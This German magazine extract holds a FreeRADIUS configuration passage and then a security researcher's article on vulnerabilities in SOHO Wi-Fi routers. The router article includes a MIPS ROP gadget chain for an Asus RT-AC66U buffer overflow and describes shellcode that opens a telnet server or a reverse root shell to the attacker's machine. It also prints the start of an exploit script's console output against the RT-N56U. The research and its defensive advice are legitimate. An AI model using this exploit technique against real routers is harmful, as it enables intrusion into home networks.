Benutzerdaten in anderen Quellen als<br />

nur in der »users«-Datei zu speichern.<br />

Neben Modulen für verschiedene SQL-<br />

Datenbanken kommen auch Active<br />

Directory Service (ADS) und LDAP in<br />

Frage.<br />

Für MySQL genügt es, die Benutzerdaten<br />

<strong>mit</strong> denselben Attributen und Werten<br />

in die Datenbank einzutragen wie<br />

in die Benutzerdatei. Die <strong>mit</strong>gelieferten<br />

SQL-Skripte »admin.sql« und »schema.<br />

sql« im Unterverzeichnis »sql/mysql«<br />

legen Benutzer, Datenbanken und<br />

Schemata an. Für PostgreSQL stehen<br />

passende Pendants bereit.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

Freeradius<br />

39<br />

Dann aktiviert man in der Datei »radiusd.conf«<br />

den Eintrag »$INCLUDE sql.<br />

conf«, der standardmäßig auskommentiert<br />

ist. In »sql.conf« bietet die Option<br />

»database« die Wahlmöglichkeiten<br />

»mysql«, »mmsql«, »oracle« und »postgresql«.<br />

Nun definieren in derselben<br />

Datei »server«, »login« und »password«<br />

die Zugangsdaten zur Datenbank.<br />

Die angelegte MySQL-Datenbank enthält<br />

die einzelnen Benutzereinträge<br />

in der Tabelle »radcheck«. Die Felder<br />

»username«, »attribute«, »value« und<br />

»op« setzt man beispielsweise auf »AD-<br />

MIN«, »Cleartext‐Password«, »magazin«<br />

und »:=«, um einen Benutzer <strong>mit</strong> denselben<br />

Attributen anzulegen wie oben<br />

für die »users«-Datei gezeigt.<br />

Die Tabelle »radreply« definiert benutzerspezifische<br />

Antwortmeldungen<br />

sowie Netzwerkeinstellungen. In<br />

»usergroup« werden die Benutzer den<br />

Gruppen zugeordnet. »radgroupreply«<br />

wiederum definiert dazu gruppenspezifische<br />

Antworten [4].<br />

Active Directory<br />

Der Rückgriff auf Benutzerdaten in<br />

einem Active Directory erfolgt <strong>mit</strong>hilfe<br />

des Programms »ntlm_auth« aus dem<br />

Samba-Paket [5]. Der Zugang <strong>mit</strong> Username,<br />

Domäne und Passwort lässt sich<br />

manuell <strong>mit</strong> diesem Befehl testen:<br />

ntlm_auth ‐‐request‐nt‐key U<br />

‐‐domain=Domäne ‐‐username=Benutzer U<br />

‐‐password=Passwort<br />

Diese Kommandozeile steht in ähnlicher<br />

Form auch in der Freeradius-Konfigurationsdatei<br />

»modules/ntlm_auth«.<br />

Darin passt man den Pfad für den<br />

Programmaufruf an, etwa zu »/usr/bin/<br />

ntlm_auth«, und die Domäne (Realm)<br />

an die des ADS-Servers. Benutzernamen<br />

und Passwörter stammen direkt<br />

vom anfragenden Client. Abschließend<br />

aktiviert man das Modul in den<br />

Dateien »sites‐enabled/default« und<br />

»sites‐enabled/inner‐tunnel«; der Block<br />

»authenticate« führt die erlaubten<br />

Authentifizierungsmethoden auf, dort<br />

fügt man die Zeile »ntlm_auth« hinzu.<br />

Details zur Konfiguration und Fehlersuche<br />

zu Freeradius und Active Directory<br />

Service zeigt [6].<br />

Tunnel<br />

Die im vorherigen Absatz erwähnte<br />

Modulkonfigurationsdatei »sites‐enabled/inner‐tunnel«<br />

kommt unter<br />

anderem bei der Authentifizierung<br />

<strong>mit</strong>tels WPA-Enterprise zum Tragen.<br />

Der WPA-Enterprise zugrunde liegende<br />

802.1X-Standard definiert nämlich eine<br />

verschlüsselte Verbindung nach dem<br />

EAP-over-LAN-Protokoll (EAPOL), wobei<br />

EAP für »Extensible Authentication Protocol«<br />

steht.<br />

Bei EAPOL erfolgt die Über<strong>mit</strong>tlung<br />

der Benutzerdaten vom Client an den<br />

Zugangsknoten, bei 802.1X der WLAN-<br />

Hotspot, über einen verschlüsselten<br />

Tunnel. Der Zugangsknoten gibt die Anfrage<br />

an den Radius-Server weiter, der<br />

diese nach dem üblichen Prinzip behandelt.<br />

Allerdings liest Freeradius bei<br />

der Verwendung von EAP-Protokollen<br />

eben statt »sites‐enabled/default« die<br />

Liste der Module aus »sites‐enabled/<br />

inner‐tunnel«.<br />

Der Tunnel benötigt weiterhin ein<br />

Verschlüsselungszertifikat. Im Produktivbetrieb<br />

sollte dies von einer vertrauenswürdigen<br />

Stelle signiert werden.<br />

Dem Freeradius-Quellpaket liegt aber<br />

zu Testzwecken ein Demozertifikat bei,<br />

das der Befehl »make« im Unterverzeichnis<br />

»certs« generiert. Allerdings<br />

fehlt das Demo-Zertifikat in den Paketen<br />

der meisten Linux-Distributionen,<br />

da es sich eben nicht um ein signiertes<br />

und da<strong>mit</strong> vertrauenswürdiges Zertifikat<br />

handelt.<br />

Wer die EAPOL-Authentifizierung<br />

ausprobieren möchte, findet dafür<br />

außerdem das Programm »eapol_test«<br />

im WPA-Supplicant-Paket, das die<br />

verschiedenen WPA-Verschlüsselungsmechanismen<br />

zu Test- und Analysezwecken<br />

implementiert. Standardmäßig<br />

wird »eapol_test« allerdings nicht<br />

kompiliert, sondern nur wenn man in<br />

den Quellen die Konfigurationsoption<br />

»CONFIG_EAPOL_TEST=y« aktiviert.<br />

Sie steht auskommentiert in der Datei<br />

»defconfig« im Unterverzeichnis<br />

»wpa_supplicant« des WPA-Supplicant-<br />

Quellpakets; also kopiert man diese<br />

Datei nach »wpa_supplicant/.config«,<br />

entfernt das Kommentarzeichen in<br />

der ».config«-Datei und kompiliert <strong>mit</strong><br />

»make eapol_test«.<br />

Für den Test von WPA-Enterprise eignet<br />

sich die Beispielkonfigurationsdatei<br />

»peap‐mschapv2.conf« unter [7]. Darin<br />

passt man die Einträge »identity« und<br />

»password« an, um einen in Freeradius<br />

angelegten User zu authentifizieren.<br />

Nun erfolgt der Test <strong>mit</strong>:<br />

eapol_test ‐c peap‐mschapv2 ‐s U<br />

Client‐Passwort<br />

Das Client-Passwort entspricht dabei<br />

dem in der Datei »clients.conf« festgelegten.<br />

In der vorgegebenen Beispielkonfiguration<br />

für »localhost« heißt es<br />

»testing123«. Nach erfolgreichem Test<br />

sollte man den »localhost«-Client wie<br />

alle nicht verwendeten Client-Einträge<br />

deaktivieren oder das Passwort ändern.<br />

Hürdenlauf<br />

Freeradius ist für die Benutzerverwaltung<br />

in der Größenordnung von<br />

Internet-Providern konzipiert worden.<br />

Die <strong>mit</strong> Freeradius paketierte Standardkonfiguration<br />

erhält da<strong>mit</strong> einen<br />

großen Wert, denn sie macht den Einstieg<br />

dennoch einfach; so erhält der<br />

lokale WLAN-Hotspot statt eines gemeinsamen<br />

Passworts problemlos eine<br />

benutzerspezifische Authentifizierung<br />

und Konfiguration – WPA-Enterprise-<br />

Kompatibilität vorausgesetzt. n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31636<br />

[1] Freeradius: [http:// freeradius. org/]<br />

[2] Freeradius für Windows:<br />

[http:// freeradius. net/]<br />

[3] Radius-Attribute von Freeradius: [http://​<br />

freeradius. org/ rfc/ attributes. html]<br />

[4] Freeradius und SQL: [http:// wiki. freeradius.​<br />

org/ guide/ SQL‐HOWTO]<br />

[5] Samba: [http:// www. samba. org/]<br />

[6] Freeradius und Active Directory: [http://​<br />

deployingradius. com/ documents/​<br />

configuration/ active_directory. html]<br />

[7] Konfigurationsdatei für EAPOL-Test: http://<br />

deployingradius.com/scripts/eapol_test/<br />

peap‐mschapv2.conf<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


pixelbliss, 123RF<br />

SOHO-WLAN-Router sind durchweg un<strong>sicher</strong><br />

Schwachstellen<br />

WLAN-Router für den SOHO-Bereich sind durch die<br />

Bank un<strong>sicher</strong>. Das ergab eine Untersuchung von<br />

mehr als einem Dutzend Geräte durch die Independent<br />

Security Evaluators (ISE). Jacob Holcomb<br />

Small- und Home-Office-WLAN-Router<br />

sind heute ein Grundbestandteil der<br />

Netzwerke von Millionen Konsumenten.<br />

Sie sind häufig der einzige Ein- und<br />

Ausgang eines Heimnetzwerks, sie<br />

verwalten Domains und die Namensauflösung,<br />

haben Firewall-Funktionen,<br />

weisen dynamisch Adressen zu und<br />

kümmern sich natürlich um das Routing.<br />

Ihre weite Verbreitung und die ins<br />

Auge gefasste Zielgruppe Computerunerfahrener<br />

Anwender erzwingt eine<br />

sehr einfache Bedienung und schlüsselfertige<br />

Lösungen.<br />

Abbildung 1: Die Liste bisher unerkannter Schwachstellen in SOHO-<br />

Routern, die die Independent Security Evaluators aufgedeckt haben.<br />

Unsere Untersuchungen haben 56<br />

bisher unbekannte Schwachstellen in<br />

SOHO-Geräten aufgedeckt (Abbildung<br />

1), was eindrucksvoll beweist, dass der<br />

große Funktionsumfang dieser Router<br />

(zum Beispiel SMB, NetBIOS, HTTP(S),<br />

FTP, UPnP und Telnet) <strong>mit</strong> erheblichen<br />

Sicherheitsproblemen erkauft wird.<br />

Die Integration besonderer Services in<br />

diese Router schafft Angriffsflächen,<br />

die böswillige Angreifer aus<strong>nutzen</strong><br />

können, um das Betriebssystem des<br />

Routers zu kompro<strong>mit</strong>tieren und einen<br />

Fuß in die Tür zum Netzwerk des Opfers<br />

zu bekommen.<br />

Sobald ein Router<br />

kompro<strong>mit</strong>tiert<br />

wurde – egal ob im<br />

SOHO-Bereich oder anderswo<br />

– wird ihn der<br />

Angreifer be<strong>nutzen</strong>,<br />

um sich eine Man-inthe-Middle-Position<br />

für<br />

ausgeklügeltere Attacken<br />

gegen alle Benutzer<br />

in der Domain des<br />

Routers zu verschaffen.<br />

Das beinhaltet Sniffing<br />

und das Umleiten des<br />

Netzwerk-Traffics, das<br />

Vergiften der DNS-<br />

Resolver, DoS-Attacken und die Übernahme<br />

von Servern. Noch schlimmer<br />

dabei ist, dass diese Router oft auch<br />

Firewalls sind und die erste und letzte<br />

Verteidigungslinie des lokalen Netzes<br />

bilden. Daher hat der Angreifer nach<br />

der Kompro<strong>mit</strong>tierung des Routers uneingeschränkten<br />

Zugriff auf alle lokalen<br />

Hosts, die die Firewall eigentlich hätte<br />

schützen sollen.<br />

Unsere Untersuchung bezog sich anfänglich<br />

auf 14 Router, die unter [1]<br />

aufgelistet sind.<br />

Allgemeine Probleme<br />

Unsere Untersuchung besonderer<br />

Dienste, die die Router anboten, ergab,<br />

dass sich alle Schwachstellen auf vier<br />

primäre Kategorien zurückführen ließen:<br />

n die Fehlkonfiguration der Netzwerkdienste<br />

n der Glaube an die Sicherheit des<br />

LAN<br />

n un<strong>sicher</strong>e Default-Einstellungen<br />

n schlechtes Design und mangelhafte<br />

Implementierung der Sicherheitsvorkehrungen<br />

Fehlkonfiguration von Services: Diese<br />

Kategorie wird von Netzwerkdiensten<br />

bestimmt, denen <strong>sicher</strong>heitsrelevante<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

SOHO-Router<br />

41<br />

Konfigurationsoptionen fehlen oder die unnötigerweise zu wenig<br />

restriktive Rechte <strong>nutzen</strong>. Fehlende Konfigurationsoptionen<br />

können dazu führen, dass sich Services in unbeabsichtigter<br />

Weise <strong>nutzen</strong> lassen. Beispielsweise kann es dann möglich<br />

sein, symbolischen Links in das Root-Directory des Routers zu<br />

folgen (Abbildung 2).<br />

Glaube an die LAN-Sicherheit: Im Verlauf unserer Untersuchung<br />

stellten wir fest, dass alle Router für die Übertragung<br />

sensibler Daten zu Clients im LAN keine <strong>sicher</strong>e Verbindung<br />

nutzten (oder das auch nur versuchten). Alle verwendeten<br />

Web-Portale <strong>mit</strong> Passwortschutz über HTTP – eine Methode,<br />

die bekanntermaßen ohne SSL/​TLS-Verschlüsselung un<strong>sicher</strong><br />

ist. Außerdem boten alle Router Services an, denen ein <strong>sicher</strong>er<br />

Kanal oder Authentifizierungsmechanismen fehlten (etwa<br />

FTP, Telnet und SMB). Offenbar wurden die Router von vornherein<br />

unter der Annahme konstruiert, dass es niemals eine<br />

Bedrohung aus dem LAN geben kann. Folgerichtig setzten die<br />

Hersteller ihre Prioritäten auf einfache Bedienung und Funktionsvielfalt,<br />

anstatt zu versuchen, einen Ausgleich zwischen<br />

Sicherheit, Bedienbarkeit und Funktionsvielfalt zu finden (Abbildung<br />

3).<br />

Un<strong>sicher</strong> per Default: Die Integration von vielen Features und<br />

die Plug-and-Play-Geisteshaltung der Hersteller verursachen<br />

weitere Sicherheitsprobleme, weil sie die Anzahl verwundbarer<br />

Services erhöhen. Wir fanden heraus, dass alle untersuchten<br />

Router per Default un<strong>sicher</strong> waren, typischerweise wegen<br />

unge<strong>sicher</strong>ter Features, wegen Nichtbeachten des Prinzips<br />

der kleinsten Rechte, wegen Unterstützung veralteter Technologien,<br />

wegen abgeschalteter Sicherheitsvorkehrungen<br />

(beispielsweise fortgeschrittener Firewall-Einstellungen) oder<br />

wegen schwacher oder öffentlich bekannter Passwörter.<br />

Schlechtes Design und Implementierungsfehler: Alle Router<br />

litten generell unter Implementierungsproblemen, am häufigsten<br />

aufgrund fehlender Überprüfung von Eingaben. Die<br />

Mehrheit der Router war angreifbar durch Attacken wie Cross-<br />

Site-Scripting, Cross-Site-Request-Forgery (CSRF), Directory-<br />

Traversal und Command-Injection (Abbildung 4).<br />

Weniger bekannte Services überprüften ihre Eingaben in der<br />

Regel unzureichend und waren für Buffer-Overflows empfänglich.<br />

Diese Dienste liefen aber per Default und konnten<br />

Abbildung 2: Wegen fehlender Konfigurationsoptionen lässt sich ein Link<br />

in das Rootverzeichnis des Routers verfolgen.<br />

vom Endbenutzer nicht abgeschaltet werden. Im Zuge<br />

der Untersuchungen erlangten wir administrative Shelloder<br />

Web-Portal-Zugänge bei allen Routern durch die<br />

Kombination von Exploits, die erkannte Schwachstellen<br />

ausnutzten. Die dabei entdeckten Buffer-Overflows,<br />

Abbildung 3: Das so genannte SFE-Triangle. Zwischen diesen widerstreitenden<br />

Zielen gilt es einen Ausgleich zu finden.<br />

www.admin-magazin.de


42<br />

Wireless Security<br />

SOHO-Router<br />

Abbildung 4: Cross-Site-Request-Forgery-Exploitation:<br />

Der Angreifer bedient sich eines Opfers, das bei<br />

der angegriffenen Web-Applikation angemeldet ist.<br />

Ihm wird böswilliger Code untergeschoben.<br />

n Listing 1: Asus RT-AC66U Roip Chain<br />

01 # ROP Gadget #1<br />

02 # lui s0,0x2<br />

03 # li a0,1<br />

04 # move t9,s1 ‐> Gadget #2<br />

05 # jalr t9<br />

06 # ori a1,s0,0x2<br />

07 <br />

08 # ROP Gadget #2<br />

09 # move t9,s3 ‐> sleep()<br />

10 # lw ra,44(sp) ‐> Gadget #3<br />

11 # lw s4,40(sp)<br />

12 # lw s3,36(sp)<br />

13 # lw s2,32(sp)<br />

14 # lw s1,28(sp)<br />

15 # lw s0,24(sp)<br />

16 # jr t9<br />

17 <br />

18 # ROP Gadget #3<br />

19 # addiu a1,sp,24<br />

20 # lw gp,16(sp)<br />

21 # lw ra,32(sp) ‐> Gadget #4<br />

22 # jr ra<br />

23 # addiu sp,sp,40<br />

24 <br />

25 # ROP Gadget #4<br />

26 # move t9,a1 ‐> Shellcode<br />

27 # addiu a0,a0,56<br />

28 # jr t9<br />

29 # mov a1,a2<br />

unpassenden Berechtigungen, Fehlkonfigurationen,<br />

un<strong>sicher</strong>er kryptografischer<br />

Speicher und webbasierten Verwundbarkeiten<br />

fanden sich in der Regel<br />

bei mehreren Routern, oft auch über<br />

Herstellergrenzen hinweg. Sie müssen<br />

als generelles Problem der SOHO-Router-Industrie<br />

angesehen werden.<br />

Überblick über die<br />

Verwundbarkeiten<br />

SOHO-Router verwenden oft Software-<br />

Packages, die verschiedene Netzwerk-<br />

Features realisieren wie WPS-Monitoring,<br />

FTP-Server und Konfiguration der<br />

drahtlosen Dienste. Durch dynamische<br />

und statische Code-Analysen fanden<br />

wir etliche solche Packages, die <strong>mit</strong><br />

Buffer-Overflow-Attacken angreifbar<br />

waren.<br />

Ein Beispiel ist der Broadcom-ACSD-<br />

Network-Service, wie ihn der ASUS<br />

RT-AC66U und das Modell TRENDnet<br />

TEW-812DRU verwenden. Dieser Service<br />

wird für einen Scan benutzt, der<br />

802.11-Kanäle <strong>mit</strong> geringer Interferenz<br />

finden soll. Der ACSD-Service dieser<br />

Router (der an einem Port im lokalen<br />

Netz horcht), ist gleich durch mehrere<br />

unautorisierte Buffer-Overflow-Angriffe<br />

verwundbar, die auf der fehlenden<br />

Eingabe-Validierung des Service-Kommandos<br />

beruhen.<br />

Ein anderes Beispiel ist der HTTP-Service<br />

des ASUS-RT-N56U-Routers. Dieser<br />

Service dient der Konfiguration des<br />

Routers über ein Web-Portal, das die<br />

Konfiuration zusätzlicher Dienste erlaubt,<br />

etwa eines Cloud-Services oder<br />

eines automatischen Torrent-Clients. In<br />

diesem Konfigurationsprozess kann der<br />

Router auf verschiedene Weise <strong>mit</strong> Buffer-Overflows<br />

angegriffen werden. Weil<br />

die Konfiguration in der Regel Root-<br />

Rechte erfordert, erlangt der Angreifer<br />

da<strong>mit</strong> die vollständige administrative<br />

Kontrolle über den Router.<br />

Wegen der MIPS-Architektur und ihrer<br />

Aufrufkonventionen kommt bei der<br />

Ausbeutung dieser Buffer-Overflows<br />

eine Technik zum Tragen, die als Return<br />

Oriented Programming (ROP) bekannt<br />

ist. ROP verändert den Programmfluss<br />

und leitet ihn auf vom Angreifer<br />

infizierten Code um, wobei kleine<br />

Programm-Sequenzen benutzt werden,<br />

die als ROP-Gadgets bekannt sind. Die<br />

Broadcom-ACSD- und die ASUS-HTTPD-<br />

Netzwerkdienste konnten auf diese<br />

Weise erfolgreich angegriffen werden.<br />

MIPS-Architektur im<br />

Überblick<br />

MIPS ist eine RISC-Architektur (Reduced<br />

Instruction Set Computer) und unterscheidet<br />

sich insofern von der bekannten<br />

x86-Familie, die auf einem Complex<br />

Instruction Set Computer (CISC) aufbaut.<br />

Wie der Name bereits andeutet,<br />

verstehen RISC-CPUs weniger Instruktionen<br />

als CISC-CPUs. Die Einfachheit<br />

des reduzierten Befehlssatzes ermöglicht<br />

eine schnellere Ausführung und<br />

da<strong>mit</strong> höhere Performance. Diese an<br />

sich erwünschte Einfachheit impliziert<br />

außerdem Vorsichtsmaßnahmen, derer<br />

sich die Entwickler von Schadcode bewusst<br />

sein müssen.<br />

So ist der MIPS-Befehlssatz nicht nur<br />

kleiner, die Befehle haben auch eine<br />

feste Länge. Unabhängig von der Aufgabe<br />

sind alle Instruktionen 16 oder 32<br />

Bit lang. Diese Längenbeschränkung<br />

erschwert zunächst das Entwickeln<br />

von Exploits, weil keine Teilstücke von<br />

Kommandos als ROP-Gadgets verwendet<br />

werden können. In einer CISC-<br />

Architektur ohne feste Byte-Grenzen<br />

kann dagegen eine Instruktion eine<br />

Untermenge einer längeren Instruktion<br />

sein. Auch der Suffix einer und der<br />

Präfix einer anderen Instruktion lassen<br />

sich unter CISC-Bedingungen zu einem<br />

neuen Befehl kombinieren.<br />

Ein weiterer Unterschied ergibt sich<br />

beim Ausführen einer Sprunganweisung<br />

im Code. Dabei wird nämlich die<br />

auf die Verzweigung folgende Instruktion<br />

<strong>mit</strong> ausgeführt. Diese Beschränkung<br />

muss man beim Entwickeln von<br />

Exploits ebenfalls im Auge haben, weil<br />

die zusätzliche Instruktion einen nachteiligen<br />

Einfluss auf die Register der<br />

CPU haben kann. Wenn beispielsweise<br />

in dem folgenden kurzen Beispiel die<br />

»jalr«-Instruktion abgearbeitet wird,<br />

dann wird außerdem (»ori a1,s0,0x2«)<br />

ausgeführt. Dieser so genannte Branch<br />

Delay Slot ändert den Inhalt des A1-Registers,<br />

indem die Anweisung dort das<br />

Ergebnis der bitweisen OR-Verknüpfung<br />

ablegt.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

SOHO-Router<br />

43<br />

# move t9,s1<br />

# jalr t9<br />

# ori a1,s0,0x2<br />

Schließlich ist ein letzter Unterschied<br />

zur CISC-Architektur, dass Rücksprungadressen<br />

in CPU-Registern und nicht<br />

auf dem Call Stack gespeichert werden.<br />

Diese Eigenschaft erschwert ebenfalls<br />

das Entwickeln von Exploits, weil jetzt<br />

nicht nur der Stack manipuliert werden<br />

muss, sondern zusätzlich das RA-Register<br />

der CPU <strong>mit</strong> der Return Address.<br />

Return Oriented<br />

Programming (ROP)<br />

Heutzutage ist ROP eine eingeführte<br />

Technik, um Bugs auszu<strong>nutzen</strong>, die<br />

den Speicher korrumpieren – beispielsweise<br />

Buffer-Overflows – und um die<br />

Data Execution Prevention (DEP) zu<br />

umgehen. Herkömmlicherweise überschreibt<br />

der Angreifer bei einem Buffer-<br />

Overflow eine legitime Rücksprungadresse<br />

auf dem Stack <strong>mit</strong> einer neuen<br />

Adresse, die dann auf böswilligen Shellcode<br />

verweist.<br />

Konzeptionell arbeitet ROP in der gleichen<br />

Weise, der Unterschied ist nur,<br />

dass die Rücksprungadresse nun <strong>mit</strong><br />

einem Zeiger auf das erste ROP-Gadget<br />

einer Kette überschrieben wird. Diese<br />

Technik erlaubt es dem Angreifer, CPU-<br />

Register und verschiedene Speicherzellen<br />

im Memory zu ändern, noch bevor<br />

Shellcode ausgeführt wird, der ebenfalls<br />

im Speicher abgelegt wurde.<br />

Abbildung 5: Der böswillige Shellcode, den die Beispielattacke<br />

ausführt.<br />

Proof-of-Concept-Angriff<br />

Für das Verständnis des Beispiels aus<br />

Listing 1 ist die Kenntnis einiger Maschineninstruktionen<br />

nützlich:<br />

n LUI – Load upper immediate: Der<br />

konstante Wert wird 16 Bit nach<br />

links verschoben und in einem Register<br />

gespeichert. Die unteren 16 Bit<br />

sind Nullen.<br />

n ORI – Bitwise OR immediate: Bitweises<br />

Oder eines Registers <strong>mit</strong> einer<br />

Konstanten. Das Resultat wird in<br />

einem Register abgelegt.<br />

n SW – Store word: Speichert den Inhalt<br />

des angegebenen Registers an<br />

der angegebenen Adresse.<br />

n ADDI – Add immediate: Addiert den<br />

Registerinhalt <strong>mit</strong> einer vorzeichenbehafteten<br />

Konstanten und speichert<br />

das Resultat in einem Register.<br />

n JALR – Jump and link: Springt zur<br />

berechneten Adresse.<br />

Im Fall des Asus RT-AC66U ermöglichte<br />

die mangelhafte Überprüfung von<br />

Grenzen im Code und die Unmöglichkeit,<br />

Netzwerk-Services abzuschalten,<br />

den im folgenden skizzierten Angriff,<br />

der es erlaubt, beliebigen Code <strong>mit</strong> den<br />

Rechten des Eigentümers der Applikation<br />

auszuführen, was normalerweise<br />

Root ist.<br />

Der Asus RT-AC66U führt <strong>mit</strong> oder<br />

ohne angesteckten USB-Speicher einen<br />

ACSD-Service an Port TCP/​5916<br />

aus. Dieser Service läuft per Default.<br />

Er lässt sich nicht deaktivieren. Der<br />

ACSD-Service ist durch einen Buffer-<br />

Overflow während der Abarbeitung der<br />

Kommandoroutine angreifbar (CVE-<br />

2013-4659). Der Angreifer verbindet<br />

sich dazu <strong>mit</strong> dem ACSD-Service und<br />

übergibt ihm einen Kommandostring,<br />

der länger ist als die fest eingestellte<br />

Puffergröße. Da<strong>mit</strong> wird der Call Stack<br />

und angrenzender Speicher überschrieben.<br />

Im Ergebnis kann vom Angreifer<br />

kontrollierter Code ausgeführt werden.<br />

Die Attacke benutzt Return Oriented<br />

Programming (ROP), um die Randomisierung<br />

des Stacks zu umgehen<br />

und Cache-Inkohärenz zu vermeiden<br />

(Listing 1). Um einen kohärenten CPU-<br />

Daten-Cache zu erhalten, nutzt der<br />

Payload den Aufruf der Blocking Function<br />

»sleep()«. Das geschieht, indem<br />

zunächst im ersten Gadget der Wert 1<br />

in das A0-Register geladen wird. Das<br />

Gadget 2 lädt dann die Adresse der<br />

Sleep-Funktion in das $T9-Register<br />

und schließt danach <strong>mit</strong> einem Sprung<br />

zu $T9 ab. Das wiederum bewirkt auf<br />

dem Zielsystem einen Context Switch<br />

und solche Context Switches flushen<br />

schließlich den Data Cache in das<br />

RAM. Als nächstes stellt Gadget 3 das<br />

Stackpointer-Register »sp« so ein, dass<br />

es nach Addition einer Konstanten auf<br />

den böswilligen Shellcode verweist.<br />

Schließlich kommt noch das Gadget 4<br />

an die Reihe, dass den Programmablauf<br />

an die im Register $T9 gespeicherte<br />

Stelle verzweigen lässt, an der sich der<br />

böswillige Shellcode befindet. Dieser<br />

startet sodann <strong>mit</strong>hilfe der Systemfunktion<br />

»system()« aus der Standard-<br />

C-Bibliothek einen nicht autorisierten<br />

Telnet-Server (Abbildung 5).<br />

In der gleichen Weise wie beim RT-<br />

AC66U konnten wir auch beim Asus RT-<br />

N56U beliebigen Code <strong>mit</strong> Root-Rechten<br />

ausführen. Hier war der Angriffspunkt<br />

ein immer laufender und nicht<br />

abschaltbarer HTTP-Server, der für<br />

mehrere Buffer-Overflows (CVE-2013-<br />

6343) während des Konfigurationsprozesses<br />

anfällig ist. Auch hier kann<br />

der Call Stack <strong>mit</strong> einer über langen<br />

Kommandoeingabe überschrieben<br />

werden. Wieder wurden mehrere ROP-<br />

Gadgets verwendet, um den Stack einzurichten<br />

und die Kommandoausführung<br />

auf gefährlichen Shellcode<br />

im Memory umzulenken. Im Zuge des<br />

Angriffs öffnet der angegriffene Router<br />

einen Netzwerk-Socket, verbindet sich<br />

<strong>mit</strong> Port TCP/​31337 auf einer Maschine<br />

des Angreifers und führt dort eine Root-<br />

Shell aus. Anschließend kann der Angreifer<br />

direkt <strong>mit</strong> dem darunterliegenden<br />

Linux-System operieren (Listing 2).<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


44<br />

Wireless Security<br />

SOHO-Router<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31635<br />

[1] Die untersuchten Router: [http:// www.​<br />

securityevaluators. com/ knowledge/ case_<br />

studies/ routers/]<br />

Beständige<br />

Verwundbarkeiten<br />

Die in diesem Artikel beschriebenen<br />

Verwundbarkeiten und andere, die<br />

im Zuge der Studie gefunden wurden,<br />

können vom Anwender nicht abgestellt<br />

werden. So lassen sich die ACSD- und<br />

HTTP-Services nicht abschalten. In<br />

anderen Fällen können Angriffe auf<br />

erforderliche Dienste dazu benutzt<br />

werden, um Dienste wieder einzuschalten,<br />

die der Anwender außer Betrieb<br />

genommen hatte. Da<strong>mit</strong> ergibt sich<br />

eine unvermeidliche Un<strong>sicher</strong>heit dieser<br />

Devices. So bleiben sie ein ewiges<br />

Angriffsziel – zumindest so lange, bis<br />

der Hersteller eventuell einen Patch<br />

veröffentlicht.<br />

Zur Beständigkeit der Schwachstellen<br />

kommt noch hinzu, dass alle untersuchten<br />

Router sehr benutzerunfreundliche<br />

Update-Prozesse bieten. Keiner<br />

der Router updatete sich automatisch,<br />

die meisten sendeten eine Nachricht an<br />

den Administrator, wenn Updates verfügbar<br />

waren, erforderten dann aber in<br />

einem mehrstufigen Prozess das nicht<br />

immer intuitive Flashen der Firmware.<br />

Für einen durchschnittlichen Anwender<br />

ist das Verfahren schwer verständlich,<br />

weswegen die Verwundbarkeiten in<br />

vielen Fällen auch dann bestehen bleiben,<br />

wenn der Hersteller einen Patch<br />

veröffentlicht.<br />

Schließlich kann man im Falle eines<br />

kompro<strong>mit</strong>tierten Routers nichts weiter<br />

tun, als das Gerät außer Betrieb<br />

zu nehmen. Alles, was der Käufer unternehmen<br />

kann, reicht nicht, um ein<br />

erfolgreiches Firmware-Update zu garantieren.<br />

Hat der Angreifer erst einmal<br />

volle Kontrolle über den Router, kann<br />

er auch ein Update vereiteln.<br />

Was kann man tun?<br />

Leider können Konsumenten nur sehr<br />

wenig tun, um die Risiken zu minimieren.<br />

Zuallererst sollte man nicht benötigte<br />

Services abschalten, Verschlüsselung<br />

be<strong>nutzen</strong> und starke Passwörter<br />

verwenden.<br />

Mehr können Entwickler tun, um Buffer-Overflow-Attacken<br />

abzuwehren: Sie<br />

sollten un<strong>sicher</strong>e Funktionen meiden<br />

(»strcpy«, »sprintf«, »memcpy«, »gets«)<br />

und Längenbegrenzungen prüfen, bevor<br />

sie Benutzereingaben übernehmen.<br />

Zusätzlich sollten sie Schutzmaßnahmen<br />

beim Kompilieren und Linken<br />

verwenden (ASLR, DEP, Canary/​Stack<br />

Cookies, Windows safeSEH).<br />

Vor allem aber sollten Käufer Sicherheitsvorkehrungen<br />

aktiv von den<br />

Herstellern einfordern. Wenn sie mehr<br />

Sicherheit verlangen, wird sich das Verhalten<br />

der Hersteller ändern. (jcb) n<br />

n Listing 2: Angriff auf Asus RT-N56U<br />

01 Gimppy@Hak42:~/ISE/SOHO/Asus/RT_N56U$ python RT_N56U_web_<br />

sploit.py<br />

02 <br />

03 [*] Title: ASUS RT‐N56U Remote Roort Shell Exploit ‐ apps name<br />

04 [*] Discovered and Reported: October 2013<br />

05 [*] Discovered/Exploited By; Jacob Holcomb/Gimppy ‐ Security<br />

Analyst @ ISE<br />

06 [*] Contact: Twitter ‐ @rootHak42<br />

07 [*] Software Vendor: http://asus.com<br />

08 [*] Exploit/Advisory: http://securityevaluators.com, http://<br />

infosec42.blogspot.com<br />

09 [*] Softweare: httpd (Listens on TCP/80 and TCP/443)<br />

10 [*] Tested Firmware Versions: 3.0.0.4.374 979 (Other versions may<br />

be vulnerable)<br />

11 [*] CVE: ASUS RT‐N56U Buffer Overflow: CVE‐2013‐6343<br />

12 <br />

13 [*] Please enter trhe URL of the router<br />

14 >http://192.168.1.1<br />

15 <br />

16 [*] Creating network socket<br />

17 [*] Preparing to fingerprint server<br />

18 [*] Connecting to 192.168.1.1 on port 80<br />

19 [*] Sending fingerprint request<br />

20 [*] Closing network socket<br />

21 <br />

22 [!!!] Target system found in signature list ‐ Result: RT‐N56U<br />

[!!!]<br />

23 [*] Would you like to use HTTP Basic Authentication? "yes" or "no"<br />

24 >yes<br />

25 <br />

26 [!!!] You chose to use HTTP BAsich Authentication [!!!]<br />

27 <br />

28 [*] Please enter the user name for the routers HTTP Basic<br />

AUthentication:<br />

29 >admin<br />

30 <br />

